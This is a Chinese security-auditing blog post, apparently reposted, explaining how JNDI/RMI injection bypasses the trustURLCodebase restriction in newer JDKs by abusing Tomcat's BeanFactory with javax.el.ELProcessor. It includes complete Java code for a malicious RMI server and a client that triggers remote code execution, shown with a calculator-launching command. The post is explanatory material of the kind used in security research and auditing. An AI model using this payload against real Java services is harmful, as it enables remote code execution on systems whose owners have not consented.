【Java代码审计】JNDI+RMI绕过高版本JDK的限制

【Java代码审计】JNDI+RMI绕过高版本JDK的限制

  • 1.高版本JDK利用注入导致的问题
  • 2.绕过分析
  • 3.Tomcat8绕过
  • 4.工具绕过

1.高版本JDK利用注入导致的问题

JDK 6u132、7u122、8u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码

添加启动参数:

在这里插入图片描述

-Dcom.sun.jndi.rmi.object.trustURLCodebase=true

在这里插入图片描述


2.绕过分析

限制远程代码加载的部分代码:

if (var8 != null && var8.getFactoryClassLocation() != null && !trustURLCodebase) {throw new ConfigurationException("The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.");
} else {return NamingManager.getObjectInstance(var3, var2, this, this.environment);
}

trustURLCodebase在较高版本JDK中默认值为false,也就是无法加载远程代码

因此为了绕过这里 ConfigurationException 的限制,我们有三种方法: 令 ref 为空,或者令 ref.getFactoryClassLocation() 为空,或者 令 trustURLCodebase 为 true

1、令 var8 为空

var8的定义部分在这里:

Reference var8 = null;
if (var3 instanceof Reference) {var8 = (Reference)var3;
} else if (var3 instanceof Referenceable) {var8 = ((Referenceable)((Referenceable)var3)).getReference();
}

从语义上看需要 obj 既不是 Reference 也不是 Referenceable。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用

2、令 trustURLCodebase 为 true

即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 参数

3、令 ref.getFactoryClassLocation() 返回空。即,让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键

可以看一下getFactoryClassLocation()方法,以及返回值的赋值情况:

在这里插入图片描述
classFactoryLocation属性赋值的两处:

public Reference(String className, String factory, String factoryLocation) {this(className);classFactory = factory;classFactoryLocation = factoryLocation;
}
public Reference(String className, RefAddr addr,String factory, String factoryLocation) {this(className, addr);classFactory = factory;classFactoryLocation = factoryLocation;
}

所以我们的绕过有了一个明确的目标,就是将外部传入的factoryLocation(远程URL)变为空,也就是不使用外部URL地址,那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了。但getObjectInstance方法需要你的类实现javax.naming.spi.ObjectFactory接口。因此,我们实际上可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制

调用栈:

InitialContext#lookup()RegistryContext#lookup()RegistryContext#decodeObject()NamingManager#getObjectInstance()objectfactory = NamingManager#getObjectFactoryFromReference()Class#newInstance()  //-->恶意代码被执行:   objectfactory#getObjectInstance()  //-->恶意代码被执行

总结:满足要求的工厂类条件:

  1. 存在于目标本地的 CLASSPATH 中
  2. 实现 javax.naming.spi.ObjectFactory 接口
  3. 至少存在一个 getObjectInstance() 方法

3.Tomcat8绕过

存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择
org.apache.naming.factory.BeanFactory ,这个类在 Tomcat 中,很多 web 应用都会包含

因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+或SpringBoot 1.2.x+

pom 依赖:

<dependency><groupId>org.apache.tomcat.embed</groupId><artifactId>tomcat-embed-el</artifactId><version>8.5.15</version>
</dependency>

payload:

public class Tomcat8Bypass {public static void main(String[] args) throws Exception {try {Registry registry = LocateRegistry.createRegistry(1099);ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);ref.add(new StringRefAddr("forceString", "x=eval"));ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);registry.bind("calc", referenceWrapper);System.err.println("Server ready...");} catch (Exception e) {System.err.println("Server exception: " + e.toString());e.printStackTrace();}}
}

客户端测试:

public class jndiTest {public static void main(String[] args) throws Exception {String string = "rmi://localhost:1099/calc";InitialContext initialContext = new InitialContext();initialContext.lookup(string);}
}

成功触发RCE:

在这里插入图片描述


4.工具绕过

JNDI-Injection-Bypass

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/730658.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

mysql 技术100问?

什么是软件架构&#xff1f;它的定义和目的是什么&#xff1f;软件架构设计的基本原则是什么&#xff1f;请解释一下模块化架构和分层架构的区别。为什么重视可伸缩性在软件架构中的作用&#xff1f;请讨论一下微服务架构和单体应用架构的区别和优劣。如何选择适合项目的软件架…

Go语言物联网开发安科瑞ADW300/4G电能表数据上传mqtt平台-电表接线到传输数据完整流程

电能表功能说明 ADW300是方便用户进行用电监测、集抄和管理&#xff0c;可灵活安装在配电箱中&#xff0c;可用于电力运维、环保监管等在线监测类平台中。我们本案例是用于工业售电公司对出售电的管理&#xff0c;设备可以监控用电情况、故障监控及警报&#xff0c;售电公司可…

C#(C Sharp)学习笔记_数组的声明, 初始化与赋值【九】

什么是数组&#xff1f; 可以将同一类型的多个变量存储在一个数组数据结构中。 通过指定数组的元素类型来声明数组。 如果希望数组存储任意类型的元素&#xff0c;可将其类型指定为object。 在 C# 的统一类型系统中&#xff0c;所有类型&#xff08;预定义类型、用户定义类型、…

python从长度为n的列表中任取k个数

法一&#xff08;内置函数法&#xff09;&#xff1a; 使用itertools.combinations函数从5个数中任选三个数。itertools.combinations函数返回给定可迭代对象中元素的所有可能组合&#xff0c;无重复且元素顺序不同则视为不同的组合。 import itertools # 定义你的数字列表…

(完美方案)解决mfc140u.dll文件丢失问题,快速且有效的修复

唉&#xff0c;又是丢失了mfc140u.dll&#xff0c;这该怎么办呢&#xff1f;如果你的电脑突然找不到或丢失mfc140u.dll文件&#xff0c;那就真是太糟糕了。别担心&#xff0c;我分享给你一些干货&#xff0c;告诉你如何快速解决mfc140u.dll丢失的问题。 一.mfc140u.dll属性功能…

百度地图城市点位数据下载并转换

概述 在浏览百度地图开放平台的时候&#xff0c;发现有个资源下载页面&#xff0c;里面有个城市中心点位和百度地图行政区划adcode映射表数据&#xff0c;这是一个经常使用到的数据&#xff0c;本文实现将这个数据转换为geojson&#xff0c;并借助QGIS转换为经纬度坐标或火星坐…

LCR 175. 计算二叉树的深度

一、题目描述 LCR 175. 计算二叉树的深度 二、思路 递归求左右子树的高度 三、解题思路 把大规模的问题拆分成小规模的问题1、要求根节点的二叉树深度 2、转换子问题&#xff1a;求左子树为根节点的二叉树深度 3、转换子问题&#xff1a;成求右子树为根节点的二叉树深度 4、最…

宏auto关键字(C++基础)

宏 宏可以实现对语句的同义替换&#xff0c;简单来说就是预处理阶段、编译前的替换&#xff08;包括符号&#xff0c;变量等&#xff09;。 #define LOG(x) std::cout << x << std::endl; LOG("hello") 可以正常使用。 下面通过上图中借用不同开发模…

Threejs着色器(GPU)编程——感温管网

管网,作为支撑现代城市运转的重要基础设施,是隐藏在地面之下的庞大工程网络。这些管网如同城市的血脉,负责输送各种必要的资源,如水源、热力、燃气等,同时排除废水和其他废弃物。然而,由于其位于地下,人们往往难以直接感知其存在和运行状态。为了保障这些地下管网的安全…

Leetcode - 周赛387

目录 一&#xff0c;3069. 将元素分配到两个数组中 I 二&#xff0c;3070. 元素和小于等于 k 的子矩阵的数目 三&#xff0c;3071. 在矩阵上写出字母 Y 所需的最少操作次数 四&#xff0c;3072. 将元素分配到两个数组中 II 一&#xff0c;3069. 将元素分配到两个数组中 I 本…

MySql进阶 锁 优化 | DAY 15

锁 计算机协调多个进程或线程并发访问某一种资源的机制 粒度 全局锁 锁住数据库中所有表表级锁 锁住整张表行级锁 锁住对应行数 全局锁 锁后 只能进行读取 全库的数据备份 从而获取一致性视图 全局锁 flush tables with read lock; 备份 mysqldump -u root -p 12345 dat…

Express学习(三)

Express中间件 中间件的概念 什么是中间件 中间件&#xff0c;特指业务流程的中间处理环节。Express中间件的调用流程 当一个请求到达Express的服务器之后&#xff0c;可以连续调用多个中间件&#xff0c;从而对这次请求进行预处理。类似于下图所示 Express中间件的格式 Expr…

内联函数|auto关键字|范围for的语法|指针空值

文章目录 一、内联函数1.1概念1.2特性 二、auto关键字2.2类型别名思考2.3auto简介2.4auto使用细则2.4 auto不能推导的场景 三、基于范围的for循环(C11)3.1 范围for的语法 四、指针空值nullptr(C11)4.1 C98中的指针空值 所属专栏:C初阶 一、内联函数 1.1概念 以inline修饰的函…

【LeetCode】升级打怪之路 Day 16:二叉树题型 —— 二叉树的构造

今日题目&#xff1a; 654. 最大二叉树105. 从前序与中序遍历序列构造二叉树106. 从中序与后序遍历序列构造二叉树889. 根据前序和后序遍历构造二叉树 目录 LC 654. 最大二叉树 【easy】 Problem&#xff1a;根据遍历序列来还原二叉树 【classic】 ⭐⭐⭐⭐⭐LC 105. 从前序与中…

小程序 获取 手机号 47001 data format error hint

0.场景 后端获取小程序用户手机号 ,api文档 https://developers.weixin.qq.com/miniprogram/dev/OpenApiDoc/user-info/phone-number/getPhoneNumber.html 使用hutool工具作为http client 1. 正确的写法 正确示例 String tencentUrl StringUtils.format("https://api…

C++vector的使用方法

文章目录 一、vector的介绍1. 文档链接2. 简要介绍 二、vector的使用1.vector的定义&#xff08;1&#xff09;构造函数&#xff08;2&#xff09;拷贝构造函数&#xff08;2&#xff09;赋值重载 2. vector 增删查改&#xff08;1&#xff09;operator []&#xff08;2&#x…

[HackMyVM]靶场 Quick3

kali:192.168.56.104 主机发现 arp-scan -l # arp-scan -l Interface: eth0, type: EN10MB, MAC: 00:0c:29:d2:e0:49, IPv4: 192.168.56.104 Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan) 192.168.56.1 0a:00:27:00:00:05 (U…

树状数组+离散化求逆序对超详细讲解!

树状数组离散化求逆序对 用一个数组 w [ ] w[] w[]来记录遍历到当前数时&#xff0c;每个数出现的次数 由于只关心每个数前边有多少个数比他大&#xff0c;遍历到 i i i时&#xff0c;求大于 a [ i ] a[i] a[i]的数有多少个&#xff0c;就是对 [ a [ i ] , n ] [a[i], n] [a[i…

HTML—常用标签

常用标签&#xff1a; 标题标签&#xff1a;<h1></h1>......<h6></h6>段落标签&#xff1a;<p></p>换行标签&#xff1a;<br/>列表&#xff1a;无序列表<ul><li></li></ul> 有序列表<ol>&…

她们正在影响AI进程

今天是3月8日&#xff0c;祝广大女性同胞节日快乐&#xff01; 当下&#xff0c;人工智能正是全球科技圈最受关注的领域&#xff0c;甚至没有之一。 在人工智能领域诞生兴起的几十年内&#xff0c;女性科学家作为重要力量&#xff0c;一直在推动行业不断向前发展。 从基础算…